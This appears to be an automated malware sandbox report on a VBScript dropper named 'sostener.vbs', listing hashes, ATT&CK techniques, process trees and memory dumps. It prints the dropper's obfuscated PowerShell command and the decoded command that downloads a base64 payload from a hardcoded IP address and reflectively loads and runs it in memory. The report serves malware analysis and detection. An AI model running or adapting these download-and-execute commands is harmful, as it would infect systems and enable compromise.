86ca81b6d7f0d020571ab9e3c586d9066bef48f82c3b4aa4abec0e0d86a48765

General

Target

sostener.vbs
Size

3.3MB
MD5

caa101219c251ee08a30546134d6c2b0
SHA1

23ada7a16f8151997e75fbc7e492ea74eaaf81dc
SHA256

86ca81b6d7f0d020571ab9e3c586d9066bef48f82c3b4aa4abec0e0d86a48765
SHA512

0a241d53ad5bfb3a5e75008968f2cb5d32bf08143e0c0fba29f5447f88cef78d56f822abf5f083413525856edb639e8b8601a8da895ae6d45929b7138c8033a8
SSDEEP

384:bfffftfffftfffftffff9fffftfffftfffftffff4fffftfffftfffftffff9ffH:tDn1C

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2448 powershell.exe
3000 powershell.exe
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

PING.EXE

pid process

2848 PING.EXE
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2848 PING.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2448 powershell.exe
3000 powershell.exe
2824 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2448 powershell.exe
Token: SeDebugPrivilege 3000 powershell.exe
Token: SeDebugPrivilege 2824 powershell.exe

pid	process
2448	powershell.exe
3000	powershell.exe

pid	process
2848	PING.EXE

pid	process
2848	PING.EXE

pid	process
2448	powershell.exe
3000	powershell.exe
2824	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1516 wrote to memory of 2448	1516	WScript.exe	powershell.exe
PID 1516 wrote to memory of 2448	1516	WScript.exe	powershell.exe
PID 1516 wrote to memory of 2448	1516	WScript.exe	powershell.exe
PID 2448 wrote to memory of 3000	2448	powershell.exe	powershell.exe
PID 2448 wrote to memory of 3000	2448	powershell.exe	powershell.exe
PID 2448 wrote to memory of 3000	2448	powershell.exe	powershell.exe
PID 3000 wrote to memory of 2904	3000	powershell.exe	cmd.exe
PID 3000 wrote to memory of 2904	3000	powershell.exe	cmd.exe
PID 3000 wrote to memory of 2904	3000	powershell.exe	cmd.exe
PID 3000 wrote to memory of 2848	3000	powershell.exe	PING.EXE
PID 3000 wrote to memory of 2848	3000	powershell.exe	PING.EXE
PID 3000 wrote to memory of 2848	3000	powershell.exe	PING.EXE
PID 3000 wrote to memory of 2824	3000	powershell.exe	powershell.exe
PID 3000 wrote to memory of 2824	3000	powershell.exe	powershell.exe
PID 3000 wrote to memory of 2824	3000	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹EM☹QwBS☹Gg☹bQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹Og☹v☹C8☹OQ☹x☹C4☹Mg☹w☹DI☹Lg☹y☹DM☹Mw☹u☹DE☹Ng☹5☹C8☹V☹Bh☹Gs☹LwBS☹GU☹Zw☹v☹E0☹YQBy☹Ho☹LwBE☹FI☹Rw☹v☹FI☹V☹BD☹C8☹QQBE☹C8☹Z☹Bs☹Gw☹LgB0☹Hg☹d☹☹n☹C☹☹Ow☹k☹EM☹WQBy☹Eo☹U☹☹g☹D0☹I☹☹o☹C☹☹WwBT☹Hk☹cwB0☹GU☹bQ☹u☹Ek☹Tw☹u☹F☹☹YQB0☹Gg☹XQ☹6☹Do☹RwBl☹HQ☹V☹Bl☹G0☹c☹BQ☹GE☹d☹Bo☹Cg☹KQ☹g☹Cs☹I☹☹n☹GQ☹b☹Bs☹D☹☹MQ☹u☹HQ☹e☹B0☹Cc☹I☹☹p☹C☹☹OwBJ☹G4☹dgBv☹Gs☹ZQ☹t☹Fc☹ZQBi☹FI☹ZQBx☹HU☹ZQBz☹HQ☹I☹☹t☹FU☹UgBJ☹C☹☹J☹BD☹EM☹UgBo☹G0☹I☹☹t☹E8☹dQB0☹EY☹aQBs☹GU☹I☹☹k☹EM☹WQBy☹Eo☹U☹☹g☹C0☹VQBz☹GU☹QgBh☹HM☹aQBj☹F☹☹YQBy☹HM☹aQBu☹Gc☹I☹☹7☹GM☹bQBk☹C4☹ZQB4☹GU☹I☹☹v☹GM☹I☹☹7☹H☹☹aQBu☹Gc☹I☹☹x☹DI☹Nw☹u☹D☹☹Lg☹w☹C4☹MQ☹g☹Ds☹I☹Bw☹G8☹dwBl☹HI☹cwBo☹GU☹b☹Bs☹C4☹ZQB4☹GU☹I☹☹t☹GM☹bwBt☹G0☹YQBu☹GQ☹I☹B7☹C☹☹J☹BD☹Fk☹cgBK☹F☹☹I☹☹9☹C☹☹K☹☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DE☹LgB0☹Hg☹d☹☹n☹C☹☹KQ☹g☹Ds☹J☹Bn☹Ec☹aQBt☹EE☹I☹☹9☹C☹☹K☹☹g☹Ec☹ZQB0☹C0☹QwBv☹G4☹d☹Bl☹G4☹d☹☹g☹C0☹U☹Bh☹HQ☹a☹☹g☹CQ☹QwBZ☹HI☹SgBQ☹C☹☹KQ☹g☹Ds☹I☹B9☹C☹☹Ow☹k☹Gw☹ZQBm☹GM☹cw☹g☹D0☹I☹☹n☹D☹☹Jw☹g☹Ds☹J☹B4☹HM☹aQBo☹Gw☹I☹☹9☹C☹☹Jw☹l☹Eo☹awBR☹GE☹cwBE☹GY☹ZwBy☹FQ☹Zw☹l☹Cc☹I☹☹7☹Fs☹QgB5☹HQ☹ZQBb☹F0☹XQ☹g☹CQ☹YgBj☹HI☹c☹B1☹C☹☹PQ☹g☹Fs☹cwB5☹HM☹d☹Bl☹G0☹LgBD☹G8☹bgB2☹GU☹cgB0☹F0☹Og☹6☹EY☹cgBv☹G0☹QgBh☹HM☹ZQ☹2☹DQ☹UwB0☹HI☹aQBu☹Gc☹K☹☹g☹Cg☹I☹BH☹GU☹d☹☹t☹EM☹bwBu☹HQ☹ZQBu☹HQ☹I☹☹t☹F☹☹YQB0☹Gg☹I☹☹k☹EM☹WQBy☹Eo☹U☹☹g☹Ck☹LgBy☹GU☹c☹Bs☹GE☹YwBl☹Cg☹Jw☹k☹CQ☹Jw☹s☹Cc☹QQ☹n☹Ck☹I☹☹p☹C☹☹OwBb☹FM☹eQBz☹HQ☹ZQBt☹C4☹QQBw☹H☹☹R☹Bv☹G0☹YQBp☹G4☹XQ☹6☹Do☹QwB1☹HI☹cgBl☹G4☹d☹BE☹G8☹bQBh☹Gk☹bg☹u☹Ew☹bwBh☹GQ☹K☹☹k☹GI☹YwBy☹H☹☹dQ☹p☹C4☹RwBl☹HQ☹V☹B5☹H☹☹ZQ☹o☹Cc☹V☹Bl☹Gg☹dQBs☹GM☹a☹Bl☹HM☹W☹B4☹Fg☹e☹B4☹C4☹QwBs☹GE☹cwBz☹DE☹Jw☹p☹C4☹RwBl☹HQ☹TQBl☹HQ☹a☹Bv☹GQ☹K☹☹n☹E0☹cwBx☹EI☹SQBi☹Fk☹Jw☹p☹C4☹SQBu☹HY☹bwBr☹GU☹K☹☹k☹G4☹dQBs☹Gw☹L☹☹g☹Fs☹bwBi☹Go☹ZQBj☹HQ☹WwBd☹F0☹I☹☹o☹C☹☹JwBk☹EE☹Qg☹0☹EE☹S☹BR☹EE☹T☹Bn☹EE☹MgBB☹EY☹TQBB☹FI☹QQBB☹HY☹QQBG☹E0☹QQBW☹Gc☹QgBP☹EE☹RQBV☹EE☹T☹B3☹EI☹NgBB☹Eg☹SQBB☹Fk☹UQBC☹E4☹QQBD☹Dg☹QQBa☹Hc☹QgBs☹EE☹RgBJ☹EE☹T☹B3☹EI☹cgBB☹Ec☹RQBB☹FY☹QQBB☹HY☹QQBE☹Gs☹QQBO☹Gc☹QQB4☹EE☹Qw☹0☹EE☹TQB3☹EE☹egBB☹EQ☹SQBB☹Ew☹ZwBB☹Hk☹QQBE☹EE☹QQBN☹Gc☹QQB1☹EE☹R☹BF☹EE☹TwBR☹EE☹dgBB☹EM☹O☹BB☹E8☹ZwBC☹Hc☹QQBI☹FE☹QQBk☹EE☹QgBv☹EE☹QQ☹9☹D0☹Jw☹g☹Cw☹I☹☹k☹Hg☹cwBp☹Gg☹b☹☹g☹Cw☹I☹☹n☹FI☹ZgBk☹EU☹d☹☹2☹Cc☹L☹☹g☹CQ☹b☹Bl☹GY☹YwBz☹Cw☹I☹☹n☹DE☹Jw☹s☹C☹☹JwBS☹G8☹Z☹Bh☹Cc☹I☹☹p☹Ck☹I☹☹7☹☹==';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt' ;$CYrJP = ( [System.IO.Path]::GetTempPath() + 'dll01.txt' ) ;Invoke-WebRequest -URI $CCRhm -OutFile $CYrJP -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ; powershell.exe -command { $CYrJP = ( [System.IO.Path]::GetTempPath() + 'dll01.txt' ) ;$gGimA = ( Get-Content -Path $CYrJP ) ; } ;$lefcs = '0' ;$xsihl = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs' ;[Byte[]] $bcrpu = [system.Convert]::FromBase64String( ( Get-Content -Path $CYrJP ).replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($bcrpu).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ( 'dAB4AHQALgA2AFMARAAvAFMAVgBOAEUALwB6AHIAYQBNAC8AZwBlAFIALwBrAGEAVAAvADkANgAxAC4AMwAzADIALgAyADAAMgAuADEAOQAvAC8AOgBwAHQAdABoAA==' , $xsihl , 'RfdEt6', $lefcs, '1', 'Roda' )) ;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3000
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c
      4⤵
      PID:2904
  - - C:\Windows\system32\PING.EXE
      "C:\Windows\system32\PING.EXE" 127.0.0.1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand IAAkAEMAWQByAEoAUAAgAD0AIAAoACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAIAApACAAOwAkAGcARwBpAG0AQQAgAD0AIAAoACAARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABDAFkAcgBKAFAAIAApACAAOwAgAA== -inputFormat xml -outputFormat text
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9f2c0bffd4bbd73bcafe84b340503af9

SHA1
056dcee221a89118e8c3931104c8072a1712a738

SHA256
03ea961dadab07ea5bdbbbf8f44fb1dfb120cdc81aab1b666df0c57ca0395ae4

SHA512
6ee925195a5830ede6c1cc4b493f40cab9f3d4d8da8453d8c4cf8f9acf0ed89dbdc51b93d5667d8fe6eb3135eeeed77c4cdea3c98f1ae719694b52e374dca2d5

Download Submit
memory/2448-4-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/2448-5-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download
memory/2448-7-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2448-6-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-8-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-9-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-10-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-11-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-22-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-23-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/2448-24-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

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